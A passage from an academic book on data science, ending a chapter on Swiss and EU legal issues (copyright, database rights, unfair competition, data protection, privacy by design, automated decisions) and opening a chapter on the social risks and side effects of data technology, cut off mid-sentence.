their selection and arrangement (Article 4 para. 1 CA). However, this does not

1Further details concerning this discussion as well as alternative solutions, cf. Thouvenin (2017).
2With regard to the international discussion, cf., for example, Ritter and Mayer (2018).
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preclude that works included in a collection may continue to be protected individ-
ually (Article 4 para. 2 CA).

Where data science is concerned, the question will arise whether certain data is
copyright protected or not. While the threshold for a qualification as a work is not
very high (e.g., original texts, pictures, or music are protected by copyright), mere
ideas are not copyright protected and this question will have to be answered on a
case-by-case basis. Depending on the data set, which is intended to form the basis of
the data scientist’s work, either some (or none) of the data therein may be protected
as an individual work, part of the data may constitute a collection, or even the entire
data set may constitute a collection.3

To the extent that certain data do constitute a work or a collection in the sense of
the CA, the CA grants the author of such a work the exclusive right thereto and the
exclusive right to decide whether, when, and how his work is used (Article 9 para.
1 and Article 10 para. 1 CA). This includes, in particular, the right to make copies of
the work, such as data carriers, to offer, transfer, and otherwise distribute copies of
the work as well as to decide whether (Article 10 para. 2 CA), when, and how the
work may be altered or used to create a derivative work or may be included in a
collection (Article 11 para. 1 CA).

In the context of data science, this means that copying data which constitutes a
work or collection infringes on the exclusivity rights of the author. However, one
could consider licensing or buying the copyrights to such data. Moreover, infringe-
ments of copyrights could be justified (e.g., by consent) or could fall within the scope
of a copyright exemption, such as private use in enterprises, public administrations,
institutions, commissions, and similar bodies for internal information and documen-
tation (Article 19 CA).

However, it has to be noted that where data is available publicly on the Internet,
this does not automatically mean that the potentially existing copyrights have been
abandoned or implied consent to copying of such data has been given [a different
view is held by Weber (2014, p. 22)]. Also, on the Internet it is not always clear
whether the person making the work available publicly is actually the right owner.
This has to be kept in mind by data scientists, in particular when creating data
products, even if they are meant to mainly include or use publicly available data from
the Internet.

In addition, also the tools of data scientists or the result of their activities may be
protected by copyright, such as computer programs. However, individual algorithms
and short computer programs that lack any complexity are not protected under Swiss
copyright law (see Cherpillod 2012, n. 64).

Finally, there is the question, whether computer-generated works can be subject
to copyright protection. Traditionally, the protection of computer-generated works
by copyright was not an issue. Computers and computer programs were considered

3For example, the Swiss Federal Supreme Court found that the Swiss Compendium of Medicines
did not reach the required individual character and was not protected by copyright (BGE 134 III
166).
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to be merely tools that supported the creative process, very much like a brush in the
hands of an artist. But, with the rapid development of machine learning software, a
subset of artificial intelligence, some computer programs are no longer only sup-
portive tools; they actually take autonomous decisions with regard to the creative
process—free of human intervention (Guadamuz 2017). Therefore, it is subject to
debate whether creations generated through machine learning qualify as “intellectual
creations” and enjoy copyright protection. A broader concept of copyright protection
in this field may help protect the results of the work of data scientists in certain cases.

2.4 Database Right Sui Generis

Furthermore, in the EU, there is another right that may serve to protect certain data.
The Directive on the legal protection of Databases (Directive 96/9/EC) provides for
an exclusive specific right for database producers. The holder of such database rights
may prohibit the extraction and/or re-utilization of the whole or certain parts of a
database. The rights are valid for 15 years and are meant to protect the investment of
time, money, and effort into such database, irrespective of whether the database is in
itself innovative (“non-original” databases). Thus, it applies even if the database is
not protected by copyrights. (The Directive harmonized also copyright law applica-
ble to the structure and arrangement of the contents of databases (“original”
databases).)

While this sui generis database right covers databases, which would not be
protected under regular copyright, one has to keep in mind that it only applies if
there has been a qualitatively and/or quantitatively substantial investment in either
the obtaining, verification, or presentation of the contents. Moreover, the right only
prevents extraction and/or re-utilization of the whole or of a substantial part,
evaluated qualitatively and/or quantitatively, of the contents of that database (Article
7 para. 1 Directive 96/9/EC). If only insubstantial parts of the database are
concerned, repeated and systematic extraction and/or re-utilization are still
prohibited under certain circumstances (Article 7 para. 5 Directive 96/9/EC).

In many cases, the activities of data scientists will not be so extensive as to
infringe these rights. However, whenever data scientists obtain databases, this
so-called sui generis database right should be taken into account and it should be
determined whether it applies to their specific case.

As above with copyrights, the result of the activities of data scientists (or interim
results) may fall under the Directive 96/9/EC and enjoy the respective protection.
This may help in the commercial exploitation of these results (e.g., as part of a
licensing of such database rights to third parties).
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2.5 Unfair Competition Law

In Switzerland, the legal protection of such databases is not as clear. Switzerland has
not introduced a database right similar to the one of the EU mentioned above. While
some databases will be covered by copyright (if the selection and arrangement of the
data is an intellectual creation with individual character) even extensive data collec-
tions or databases will not constitute a copyrightable work if the respective system is
simple. In any case, the copyright protection enjoyed by a collection will be limited
to the structure of the database (e.g., selection and arrangement), if the respective
data itself is not protected by copyright (Arpagaus 2013, n. 35). Therefore, it is
important to examine how other legal concepts may be used to obtain a certain legal
protection of such databases:

Article 5 let. c Unfair Competition Act (UCA) provides that it constitutes unfair
competition to take the marketable results of work of another person by means of
technical reproduction processes without an adequate effort of one’s own and to
exploit them “as such.” The question is whether—and, if so, under what circum-
stances—this provision could be used to protect at least certain databases.

Databases, even ones that are not protected by copyright, can constitute a
“marketable result of work of another person” in the sense of Article 5 let. c UCA.
Downloading such a database from the Internet or otherwise copying it constitutes a
“technical reproduction process.” Consequently, some of the requirements for pro-
tection under Article 5 let. c UCA will be met in many cases.

The issue then becomes whether the exploitation of such a database was made
“without an adequate effort,” This will have to be considered with respect to the
specific facts on a case by case basis. One will have to take into account a
comparison between the effort of the first mover and the effort of the potential
infringer—and also, whether the first mover already had an opportunity to amortize
its efforts at the time of reproduction and exploitation.

In addition, the marketable results have to be exploited “as such.”While this term
is very vague, the Federal Supreme Court has taken this to mean that it requires not
only that the reproduction of the result is made directly, but that it also must be
exploited directly. Direct reproduction requires that the technical process directly
implicates the original, while direct exploitation would require a commercial or
professional use of the result in competition without an adequate own effort of the
infringer.

Often, data scientists will not “take” the entire (or large part) of an existing
database or another marketable result of a third party merely by means of a technical
reproduction process, but will put more effort into their work, in particular use at
least a combination of data. In addition, data scientists will often not directly exploit
databases without an adequate own effort. The entire idea of data science is to apply
one’s own (adequate) effort to a set of data and create a new data product, which
obviously goes far beyond the original set of data (Weber 2014, p. 21).
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Therefore, Article 5 let. c UCA will often not be applicable in the context of data
science. Nevertheless, it is important to keep this provision in mind to be able to
avoid its pitfalls on a case by case basis.

2.6 Manufacturing and Trade Secrets

In addition to the provisions outlined above, certain data that data scientists want to
use may be protected as manufacturing or trade secrets. While protection by Article
5 UCA as outlined in the section above does not require the data to be secret, Article
6 UCA protects manufacturing and trade secrets if they have become known as the
result of spying or otherwise have been obtained unlawfully. In such cases,
exploiting manufacturing or trade secrets or disclosing them to third parties consti-
tutes unfair competition.

Moreover, the disclosure of manufacturing or trade secrets by a person who is
under a statutory or contractual obligation not to reveal such facts, as well as
exploiting manufacturing or trade secrets disclosed in such a way, is punishable
under Swiss criminal law (Article 162 Swiss Criminal Code).

While data scientists in many cases will not intentionally violate manufacturing or
trade secrets, they should still try to make sure that the data they use does not contain
and violate such secrets.

3 Data Protection/Privacy

3.1 Background

While it may well be that only companies will survive that rigorously exploit (big)
data, one should not forget that data science and data exploitation must not lead to an
infringement of privacy rights (Polzer 2013, p. 6). Data protection and privacy are
protected by the Swiss constitution as fundamental constitutional rights. Data pro-
tection laws are meant to specify the constitutional rights of privacy. Those data
protection laws also have to be taken into account in the field of data science.4

Swiss data protection law is mainly set forth in the Federal Act on Data Protection
of June 19, 1992 (DPA), and the Swiss Federal Ordinance to the Federal Act on Data
Protection of June 14, 1993 (DPO). In the EU, the General Data Protection

4This contribution is not meant to be a full-blown introduction into data protection/privacy laws and
the following will concentrate on a limited number of data protection law issues, which may have
particular importance for data scientists.
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Regulation (GDPR)5 has entered into force and will apply as of May 25, 2018. The
Swiss DPA is currently under revision and it is expected that it will be strongly
influenced by the GDPR, in particular because cross-border data transfers are daily
business.6

3.2 Personal Data

Swiss data protection laws only deal with the processing of personal data. Obvi-
ously, not all data is personal data. Under Swiss law, personal data is defined as “all
information relating to an identified or identifiable person” (Article 3 let. a DPA). A
person is considered to be identifiable if identification is possible without undue
efforts and one has to expect that this will possibly be done (Rudin 2015, n. 10).

While this definition seems clear, there is a large spectrum between data that is
clearly connected to an identifiable person and data that cannot in any way be
re-identified.

De-identification of data generally is used to denominate a process of “removing
or obscuring any personally identifiable information from individual records in a
way that minimizes the risk of unintended disclosure of the identity of individuals
and information about them” (Nelson 2015, p. 12). Therefore, de-identified data may
theoretically still be linked to individuals, for example, using a code, algorithm, or
pseudonym.

The definition of “pseudonymization” in the GDPR is somewhat different:
“‘pseudonymisation’ means the processing of personal data in such a manner that
the personal data can no longer be attributed to a specific data subject without the
use of additional information, provided that such additional information is kept
separately and is subject to technical and organizational measures to ensure that the
personal data are not attributed to an identified or identifiable natural person”
(Article 4(5) GDPR).

Anonymization on the other hand is a process of data de-identification leading to
data where individual records cannot be linked back to an individual as they do not
include the required translation variables to do so. Consequently, anonymized data,
as it is often used in data science, is generally not subject to the DPA.
De-identification may also be sufficient to exclude data from the scope of DPA, if
the re-identification is not possible without undue efforts or if one does not have to
expect that this will possibly be done.

However, data scientists should be aware that the process of anonymization or
de-identification of data, which currently constitutes personal data, does, in itself,

5Regulation (EU) 2016/679 of the European Parliament and of the Council of April 27, 2016, on the
protection of natural persons with regard to the processing of personal data and on the free
movement of such data, and repealing Directive 95/46/EC.
6The present contribution is based on the status of legislative proceedings as of February 23, 2018.
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constitute the processing of personal data and, thus, is subject to the DPA. Only the
result of the anonymization (and possibly of the de-identification) is no longer
relevant from a perspective of data protection laws.

Also, there is no guarantee that de-identification and/or anonymization
completely precludes re-identification of the data subject. On the contrary: in
particular in connection with Big Data, if there is a large amount of data,
re-identification of the data subject becomes more likely and possible (Baeriswyl
2013, p. 15).7 Once such re-identification becomes possible “without undue efforts”
and one has to expect that this will possibly be done, the data becomes personal data,
and the DPA applies. Consequently, if one has sufficient data to conduct such
re-identification, one will have to comply with the DPA (Weber 2014, p. 20). So,
while the process of re-identification itself constitutes a data processing that is
relevant under the Swiss DPA, one has to be aware that the DPA becomes applicable
already at an earlier stage, that is, once re-identification is “possible without undue
efforts and one has to expect that this will possibly be done” (Baeriswyl 2014,
pp. 50–52). If personal data is generated by accident, nevertheless, Swiss data
protection laws would apply. Finally, even if the data scientist provides
de-identified and/or anonymized data to third parties, data protection laws will
have to be complied with, if the data scientist has to expect that
re-individualization will take place (Baeriswyl 2014, p. 53).8 This is an issue that
should be further analyzed in joint research activities conducted by IT specialists and
legal scholars.

Thus, the boundary between personal data and other data is somewhat vague, in
particular because of the technical developments; data that cannot be
re-individualized today may well become related to an identifiable person tomorrow,
and, thus, become personal data (FDJP 2016, p. 43).

Consequently, even anonymization or de-individualization of the respective data
does not completely exclude that data protection laws will be applicable to the
activities of a data scientist. This is true irrespective of whether the data is used
only internally in a data product or whether it is visible also externally and
irrespective of the effect of the data product on the data subject concerned (e.g.,
whether you use the data for personalized pricing or to achieve better usability of a
software for the data subject).

7With regard to de-identification, re-identification, alternative approaches, and use-cases,
cf. Narayanan et al. (2016).
8In this context one may also point to the US Federal Trade Commission’s (FTC) 2012 report
Protecting Consumer Privacy in an Era of Rapid Change: Recommendations for Businesses and
Policymakers, in which the FTC takes the position that “data is not ‘reasonably linkable’ to the
extent that a company: (1) takes reasonable measures to ensure that the data is de-identified;
(2) publicly commits not to try to re-identify the data; and (3) contractually prohibits downstream
recipients from trying to re-identify the data” (retrieved February 14, 2018, from https://www.ftc.
gov/reports/protecting-consumer-privacy-era-rapid-change-recommendations-businesses-
policymakers).
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3.3 Privacy by Design

Sometimes, legal developments are outpaced by technological developments. Data
protection laws try to address this issue by provisions concerning “privacy by
design”—the GDPR as well as the draft for a revision of the DPA. Privacy by
design is an approach which takes privacy into account already in the phase of
designing a product or a data analysis.

The idea of including this principle into the relevant laws is that law and
technology should complement each other and that technologies, which already
take privacy into account, are necessary to help implement data protection laws
(Legislative Message DPA 2017, p. 7029). Technology may be used to enhance data
security and, at the same time, the level of protection of personal data (Kiss and
Szöke 2015, p. 323).

In the draft to the revised DPA, the principle requires that technical and organi-
zational measures have to be set up in order for the data processing to meet the data
protection regulations. It has to be considered from as early as the planning stage.
The purpose is to achieve that systems for data processing are engineered (from a
technological and organizational perspective) from the beginning in a way that they
comply with data protection principles (Legislative Message DPA 2017, p. 7029).

While this is rather vague, there are already certain reports and principles that can
be used when trying to determine what “privacy by design” requires. Some guidance
can be found, for example, in the following “7 foundational principles” of privacy by
design (Cavoukian 2011):

1. Proactive not reactive, preventive not remedial

The privacy by design approach aims to identify, anticipate, and prevent
privacy invasive events before they arise. It does not wait for privacy risks to
materialize, nor does it offer remedies in case a privacy breach occurs.

2. Privacy as the default

The default settings deliver the maximum degree of privacy. No action is
required by the individual in order to protect their privacy.

3. Privacy embedded into design

Privacy is integral to the system, without diminishing functionality. It becomes
an essential component of the core functionality being delivered.

4. Full functionality—positive-sum, not zero-sum

Privacy by design accommodates all legitimate interests and objectives in a
positive-sum “win-win”manner. It avoids the pretense of false dichotomies, such
as privacy vs. security, demonstrating that it is possible to have both.

5. End-to-end-security—full lifecycle protection

Privacy must be protected by strong security measures throughout the entire
lifecycle of the data involved; from the cradle to the grave.

72 M. Widmer and S. Hegy



6. Visibility and transparency—keep it open

The data subject is made fully aware of the personal data being collected, and
of the purpose(s). Moreover, the component parts and operations remain visible
and transparent.

7. Respect for user privacy—keep it user-centric

Privacy measures are consciously designed around the interests and needs of
individual users.

In addition, the European Union Agency for Network and Information Security
has addressed the issue in its report “Privacy and Data Protection by Design—from
policy to engineering,” which tries to bridge the gap between the law and the
available technologies. It can also provide further insight into this issue and is
certainly a good reference for data scientists.

3.4 Privacy by Default

While “privacy by default” is listed as one of the “7 foundational principles” of
privacy by design above, this principle is also explicitly mentioned in the GDPR as
well as the draft for a revision of the DPA.

The respective legal provisions require that it is ensured by suitable settings that
by default only such personal data are processed that are required for the respective
purpose of the processing. The “default setting” is the setting that is automatically
given or applied to a software application, computer program, or device, if not
altered or customized by the user.

In other words, the respective data processing should—as a default—be as
privacy friendly as possible, except if the data subject changes the default settings
(Legislative Message DPA 2017, p. 7030), for example, to obtain additional func-
tionalities. Such settings have to enable the data subject to make its own choices
concerning privacy to a certain extent.

3.5 Automated Individual Decisions

Another provision in data protection law which could substantially affect the
activities of data scientists concerns “automated individual decisions.” The GDPR
as well as the draft for a revision of the DPA restrict automated individual decision
making under certain circumstances. The GDPR states that the “data subject shall
have the right not to be subject to a decision based solely on automated processing,
including profiling, which produces legal effects concerning him or her or similarly
significantly affects him or her” (Article 22 para. 1 GDPR). The draft for a revision
of the DPA provides that a data subject has to be informed “of a decision which is
taken exclusively on the basis of an automated processing, including profiling, and
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which has legal effects on the data subject or affects him significantly” (Legislative
Message DPA 2017, pp. 7056 et seq.).

This may lead to substantial difficulties in data science, in particular in cases
where individual decisions are taken by algorithms. However, the GDPR only
covers decisions based “solely” on automated processing while the term used in
the draft for a revised DPA is “exclusively.” So how should the term “solely” in the
GDPR or “exclusively” in the draft to the revised DPA be interpreted?

While one could argue that it is already sufficient if a human was included at the
end of the process to formally “make the decision,” this would defy the purpose of
the legal provisions. Rather, it should only be considered that the decision is not
based solely or exclusively on automated processing, if a person “actively exercises
any real influence on the outcome of a particular decision-making process” (Bygrave
2000) and actively assesses the result of the automated processing before this person
takes the decision also formally.

There are, however, also exceptions to this requirement. One important exception
is that the provisions will not apply if the automated process was based on the data
subject’s explicit consent. According to the GDPR, the data subjects must be
provided with information not only of the existence of such automated decision
making, but also of the logic involved and the significance and envisaged conse-
quences of such processing for the data subject (Article 13(2)(f) GDPR), which also
is a necessary foundation for a valid consent.

However, explaining (and understanding) what goes on, for example, in a neural
network in terms of a generated outcome (i.e., why is this case decided that way?) is
a difficult task, even for an expert (cf. Dong et al. 2017; Stock and Cisse 2017). It
will be substantially more difficult to try and explain such issues (or other algo-
rithms) to an average data subject. In particular, if one cannot easily trace the precise
path of a neural network to a final answer, the description of automated decisions is
open to interpretation. This difficulty may also affect the issue of validity of a data
subject’s consent, since such consent not only has to be freely given, specifically and
unambiguously, but also has to be made on an “informed” basis (Article 4
(11) GDPR). And even in cases of valid consent, the data subjects will still have
to be informed and the data subjects will have the (1) right to obtain human
intervention; (2) right to express their point of view; (3) right to obtain an explana-
tion of the decision reached; and (4) right to challenge the decision (Recital
71 GDPR).

Since algorithms are an important means of governing data streams, assessments
of how an automated decision will affect the data subject may have to be made on a
regular basis. However, this seems to be an impossible reality, should automated
decisions become the norm (Naudits 2016).

3.6 Self-Regulation

In addition, the GDPR as well as the draft for a revision of the DPA to a certain
extent provide that self-regulation shall have some legal effects. Self-regulation is
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generally considered to be the regulation in a field, for example, an industry, by its
own members often using, for example, standards or codes of conduct (such as the
Code of Conduct of the German insurance industry),9 as opposed to legislation set
forth by the government.

There are various kinds of self-regulation (i.e., regulation by private,
non-governmental entities). Autonomous self-regulation is solely based on the
initiative of the private players, while initiated self-regulation is based on private
activities initiated by governmental impulses. In some cases, government may even
try to steer self-regulation and, thus, achieve a regulated autonomy (regulated self-
regulation), such as in the case of data protection.

While there are some disadvantages to self-regulation (e.g., lack of transparency,
democratic deficit, putting private and commercial interests over public interests),
some of these disadvantages can be addressed in regulated self-regulation. More-
over, self-regulation can also have many advantages: It can avoid further govern-
mental interventions and legal regulations; self-regulation generally is closer to
actual practice and the involved parties can introduce their technical expertise. In
addition, self-regulation generally is more flexible than governmental regulation and
it is easier to react to (technical) changes. Finally, self-regulation can contribute to
the good reputation of the field concerned (Widmer 2003, pp. 20–22).

The GDPR as well as the draft for a revision of the DPA introduce the possibility
of regulated self-regulation. Article 40 GDPR provides that associations and other
bodies representing categories of controllers or processors may prepare codes of
conduct for the purpose of specifying the application of the GDPR in certain aspects.
Such codes would then have to be submitted to the supervisory authority, which
shall approve it, if it complies with the GDPR. In cases where a code of conduct
concerns processing activities in several member states, the supervisory authority
must, before approval, submit it to the European Data Protection Board for an
opinion. If it approves, the European Commission must review the code and, if it
also approves, publish it.

Such codes of conducts can be used not only to facilitate cross-border data
transfers, but also help to set forth and demonstrate compliance, in particular with
regard to security risks of data processing (see, e.g., Articles 24, 28, and 32 as well as
Recitals 77 and 81 GDPR). Codes of conduct are particularly fit to address legal
questions for specific industries, but also other questions of data protection, such as
the requirements of privacy by design or privacy by default in specific fields (Bergt
2016, p. 671).

The revision of the DPA goes less far than the GDPR in this aspect. It provides
that professional and business associations whose statutes entitle them to defend the
economic interests of their members, as well as federal bodies, may submit a code of
conduct to the supervisory authority. Thereupon, the authority shall comment on the
submitted code and publish its opinion. However, note that the interested parties

9Gesamtverband der Deutschen Versicherungswirtschaft (2012). This code is currently under
revision due to GDPR adaptations.
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cannot derive any rights from a positive opinion or a waiver of an opinion. Never-
theless, in case of a positive opinion from the supervisory authority, it can be
assumed that behavior in line with the submitted code of conduct does not entail
any administrative measures (Legislative Message DPA 2017, pp. 7034–7035).

Taking this possibility into account, it may make sense, for example, for associ-
ations in the field of data science to consider initiating and/or participating in self-
regulation projects concerning certain issues, which affect their activities. Not only
will this give them the possibility to more closely have an effect on the regulation
which concerns them and to mitigate the risks from vague legal provisions, it may
also give them the possibility to more quickly influence how (technical) changes of
their field are approached from a legal perspective and may even help prevent further
sector-specific data protection laws.

4 Regulatory Aspects

Data science obviously does not take place in a vacuum. The application of data
science to particular fields and the creation of new data products from a legal
perspective will also have to take into account the context of the specific industry
data science is applied to. In many industries, there are substantial regulatory
requirements that have to be met, not to mention sector-specific data protection
provisions to be taken into account. Creating new products without concern to such
regulatory frameworks may result in commercial nonstarters or expensive rectifica-
tions before commercialization.

Space constraints hinder us from exhaustively listing and explaining such regu-
latory frameworks for all fields to which data science may be applied. Suffice it to
say that among many others, the following fields are particularly regulated and such
sector-specific laws will have to be taken into account: banking and finance,
insurance, pharmaceutical sector, health care, and telecommunications.

5 Conclusion

In this chapter, we have outlined a number of legal issues that can affect the activities
of data scientists.

It seems clear that data carriers should be treated as goods from a legal point of
view, and that copyright protects some data or data collections. Also, in the EU
databases are to a certain extent protected by a sui generis right (in Switzerland no
such right exists) and, in addition, unfair competition law also prevents certain abuse
of data. Data scientists should be aware that the legal discussion in this respect has
not yet caught up and is still open. Moreover, data scientists should always consider
how rights to data affect their activities, for example, whether they have obtained the
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necessary rights concerning the data they work with and how such rights may affect
the results of their work.

Data protection law is certainly a legal field that data scientists should be aware
and have some knowledge of. While many activities of data scientists will not
necessarily involve personal data, the risk of re-identification—and its impact on
the qualification of data as “personal data”—must always be considered. Among
many others, “privacy by design” and “privacy by default” are some of the pro-
visions that have to be taken into account already early in the process of developing a
data product. In addition, rules concerning “automated individual decisions” often
are of concern to data science. However, it remains to be seen how they will play out
in the future. Self-regulation may be one way to address some of the vagueness and
uncertainties of data protection laws from the perspective of specific fields of data
science and—if effective—may also help to mitigate the legal risks and preclude the
potential perception of a need for further sector-specific legislation.

Finally, data scientists should always remain aware that the application of data
science to specific fields may also lead to the application of certain industry-specific
regulation. It is important that data scientists obtain at least a broad overview of such
industry-specific laws and consider their effect on their activities and potential data
products already at the beginning of a project.
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Chapter 6
Risks and Side Effects of Data Science
and Data Technology

Clemens H. Cap

Abstract In addition to the familiar and well-known privacy concerns, there are
more serious general risks and side effects of data science and data technology. A
full understanding requires a broader and more philosophical look on the defining
frames and on the goals of data science. Is the aim of continuously optimizing
decisions based on recorded data still helpful or have we reached a point where this
mind-set produces problems? This contribution provides some arguments toward a
skeptical evaluation of data science. The underlying conflict has the nature of a
second order problem: It cannot be solved with the rational mind-set of data science
as it might be this mind-set which produces the problem in the first run. Moreover,
data science impacts society in the large—there is no laboratory in which its effects
can be studied in a controlled series of experiments and where simple solutions can
be generated and tested.

1 Introduction

Data science has been defined by Braschler et al. (2019) as the unique blend of skills
from analytics, engineering, and communication, aiming at generating value from
the data itself. Data technology may be regarded as themethod of collecting data and
deducing empirical and statistical models and making decisions thereon with the
help of algorithms. We focus on two aspects: Personal data, where data science
affects the privacy of the connected persons, and model deduction, which may
influence our way to do science and to make decisions. We perceive data science
as an applied science, as a technology, and as a decision mechanism. Thus, technol-
ogy assessment seems a reasonable thing to do. Risks connected with personal data
and social “transformatory” risks, that is, resulting in changes of society, seem the
foremost.
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This task is difficult and urgent. Data technology is not yet broadly deployed in
society, therefore the possible risks have not yet shown up in a larger number of concrete
cases. They are not yet well understood and thus seem frightening. In nuclear technol-
ogy or aviation, over 60 years of research and a tradition of detailed accident analysis
produce a different situation and allowmore clear statements. Nevertheless, assessment
of data science is important and must not be delayed: Data technology is a pervasive
technology and risks of a ubiquitous infrastructure are difficult to avoid should there be
significant negative side effects. Data science infrastructure will soon have been inte-
grated tightly into many products, workflows, and systems. While energy production
can be, and has occasionally been, converted from nuclear to non-nuclear technology,
data science applications are difficult to stop once they have been deployed, due to their
universal integration into technical systems and social processes. The debate is emo-
tionalized, risks affect everybody, leakage and data theft scandals heat up the discussion,
cyber-wars and surveillance allude to fear, and much money can be made by industry.

Finally, it is not clear how to conduct systematic data science risk analysis. Side
effects are not of a biological nature and cannot be studied in a lab; polls provide
reliable answers only after (irreversible?) social change has been completed; philo-
sophical debates on human values may be appropriate but employ methods which,
unfortunately, rarely are taken seriously by the core target groups: data scientists,
company owners, and policy makers.

2 Main Risks and Side Effects

Security and privacy issues are the foremost category of problems commonly
associated with data science. As they are well discussed we shall only provide a
brief overview. The Whitehouse Report on Big Data1 provides a wealth of case
studies in the areas of access to credit and employment, higher education, and
criminal justice and connects them with possible though avoidable flaws in the big
data process. Other authors raise more fundamental questions2 or focus on the
possibility of classification (Dwork and Mulligan 2013) and a resulting loss of
different perspectives, individual autonomy, and democratic functioning of society.

The first trouble is abuse of personal data. It frequently leads to decisions which
are not in the interest of the person involved. A well-known example is travel
booking. Depending on the web browsing history, cookie pricing attempts to
make the most profit from a customer. Every available information on social and
financial stratum, past spending habits, and even computer brands is translated to
offers and booking modalities which are optimal for the selling agency. Customers
who do not complete the booking are followed through social media, search engines,
and even email. Service providers employ all kinds of sensors, from fitness trackers

1See Executive Office of the President (2016).
2For example, Kree and Earle (2013).
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to car black-boxes, to gather information on how to best make money from the
observed person. Even smart phones owned by the customer are employed as mobile
selling platforms of their manufacturers. To obtain the required platform control,
software technologies are used to set up walled gardens preventing every escape of
their owner. See Cap (2016) for a wealth of further examples.

Often data theft increases the risks of data abuse. We also face the problem of
incorrect data and data stickiness, that is, situations where wrong or no longer valid
data affect the life of an individual, which is unable to dissociate itself from data
collections or even data errors in the past.

Given the wealth of deductions which can be made on persons from their data,
some critics even question whether the dignity and autonomy of man would allow for
a concept of a third party “owning” personal data of somebody else (Hofstetter 2016).

The digital panopticon is a further aspect, which originated in the surveillance
debate. It leverages a thesis originally from Bentham (Warriar et al. 2002): A person
feeling watched by an anonymous observer is likely to adhere to the ethical stan-
dards fantasized for the observer. This concept is further reflected in the mindset of
Google whose former CEO Eric Schmidt suggested that “[if] you [had] something
that you [didn’t] want anyone to know, [. . .] you shouldn’t be doing it in the first
place.” According to critics this statement demonstrates a complete lack of under-
standing of the concept of privacy (Esguerra 2009).

The infrastructure risk points out an important modality of data technology.
Applications require a wide deployment of data sensors. Internet of Things experts
speculate on more than 50 billion networked devices by 2020 (Hosain 2016). Data
technology penetrates workflows, decision processes, and business plans. It prom-
ises convenience and optimized decisions. Ultimately, society finds itself in circum-
stances so nicely described by the sorcerer’s apprentice.3 When the technology has
been deployed, it is extremely difficult to stop it or even reduce it—for technical,
social, and economic reasons. Even if data science might guarantee the best of all
possible worlds, we should be careful as a society when setting up an infrastructure
where this final result is granted without a possibility of a later intervention.

Example: On a recent plane travel, the author was asked to have his boarding pass
scanned as precondition for buying bottled water. Leaving aside duty-free and tax
requirements, which could have been satisfied by manual ticket inspection or a
higher price, the infrastructure problem was that the sales assistant could not even
open the drawer of the cash register without a scan of personal data. Recently the
Amazon Echo voice device behaved as the literal sorcerer’s apprentice: A 6-year-old
Texan girl was chatting with the device of her parents and asked it to order a
dollhouse—which promptly was delivered. When the story was reported by a TV
station, the reporter said: “I love the little girl, saying ‘Alexa order me a dollhouse’.”
Devices in many a viewer’s living room heard this command and placed orders for
dollhouses (Nichols 2017).

3Famous German poem “Der Zauberlehrling” by Johann Wolfgang von Goethe, in which the
control on an initially helpful spirit is hopelessly lost.
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A disruptive change of science: In traditional science, theoreticians develop
mental models which then are put to the test by observation. The models are
cognitive constructions of the mind and do not constitute “reality”—although the
act of confusing models with reality often helps a scientist to improve models: The
earth is not flat but until the development of better astronomic instruments this model
was helpful; the earth is not a sphere either, but only advanced questions really
required the model of a rotational ellipsoid. The earth is not an ellipsoid either. All
these mental models are “wrong” but helpful in the sense that they provide the
physicist with constructions for “understanding” the world. Ultimately, in quantum
physics the attempts to model observations by “machinery” are believed to fail. We
recall Richard Feynman: “If you think you understand quantum mechanics, you
don’t understand it.” Still the physicists’ minds heavily and successfully use imag-
ined machinery4 since these cognitive tools fit the human mind.

Data science replaces this machinery by empirically validated models. In the
optimal scenario, it drops theory and delivers the “best” numeric description of
billions of experiments. This approach is hard to beat empirically. Why bother for an
explanation if black-box predictions match myriads of experiments? This may be
particularly attractive in complex system science such as medicine. Why bother to
develop an explanatory description of a disease if a computer can diagnose and treat
it much better?

Example: Anderson (1989) describes how a neural network can learn to control
an inverted pendulum without prior knowledge of dynamics. The algorithm pro-
duced sets of real numbers as connection weights which interpolate complex func-
tions with sufficient precision—it does not produce any “understanding” of the
“learned” problem. These weights heavily depend on the structure of the network
and on the randomization throughout the learning process.

Data science produces a solution for a problem (e.g., treating a disease), an
abstract mathematical model for a complex object (e.g., an inverted pendulum),
and in a few cases even additional insight into correlations and statistical mecha-
nisms—it usually does not provide the mental models a human will use for “under-
standing” a system. We can argue that our mental models are incorrect, since
modelling employs complexity reduction. However, the human mode of understand-
ing our world and communicating about it is exactly in those “wrong” but vivid and
demonstrative mental models which are close enough to the human mind. A
disruptive transformation of science which replaces the human researcher by an
algorithm is not desirable. The offer is, of course, tempting, but maybe we should
reject it.

A GIS research project at the University of Zurich demonstrates a more refined
approach (Schönholzer 2017): Studies indicate that repeated use of navigation
systems weakens the sense of orientation of the user. Thus, the group now studies

4Feynman also acknowledges this. “I see vague pictures of Bessel functions [. . .] and dark brown
x’s flying around. And I wonder what the hell it must look to the students.” See Root-Bernstein and
Root-Bernstein (1999).
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how the interaction of a user with a navigation system should be restructured to
avoid superfluous use of the system and prevent further degradation of human
capabilities. An interesting paradox arises: The more we develop helpful tools the
more our natural skills degenerate. This is well known from other areas: An
increasingly immobile life-style, for example, calls for regular compensation on
the treadmill. With an increasing number of smart assistants and with data science
applications taking over our decisions, we will face such paradoxes more and more
often. Which mechanisms will prevent our cognitive decline? How reasonable are
technical tools which, when used, destroy our abilities? Can this effect be
counteracted successfully, as the Zurich GIS research project intends to do?
Would it be more reasonable to use these tools less often? Do we have the necessary
self-discipline? What protects us on a larger scale from first using such tools, then
showing signs of degeneration, thus requiring such tools and finally becoming
dependent on machines and associated business cases to manage our lives?

A replacement of humans by algorithms is closer than we might be aware
of. We witness the trend in autonomous cars; financial trading already is dominated
by algorithms and not only the allocation (Park et al. 2014) but also the selection
(Miller-Merell 2012) of human resources will soon be taken over by computers. The
latter means computers will decide which humans get a job, where and why. The
pattern of replacing humans by machines was seen in the first industrial revolution,
where it was for physical tasks. While a replacement of humans for repetitive,
routine, dangerous, and boring tasks seems fine, we might cross a fundamental
boundary when human deciders are systematically replaced by algorithms. Even if
all involved parties benefit from better decisions, the issue at stake is the loss of core
values of meaning of human life. While not everybody might agree that meaningful
work is one of the core purposes of our existence, possible alternative worlds are not
very attractive. Scenarios comprise dystopias such as “Brave New World” by
Aldous Huxley, where the purpose of life is reduced to consumption and instanta-
neous satisfaction of needs, or more recently and drastically by the science fiction
movie series Matrix, where humans are the mere appendix of a world governed by
machines. Even if the outcome were a true paradise: Which effects would drive
human evolution and prevent degeneration? What would we enjoy in our lives when
it is no longer reward or success that sweetens labor? Can mankind exist for long
being served by robots, regularly aroused by stimulating drugs, a kind of “soma” as
described by Huxley?

Reverse and meta risk assessment: A thorough technology assessment also
raises the following questions: What could possibly go wrong if risks are not
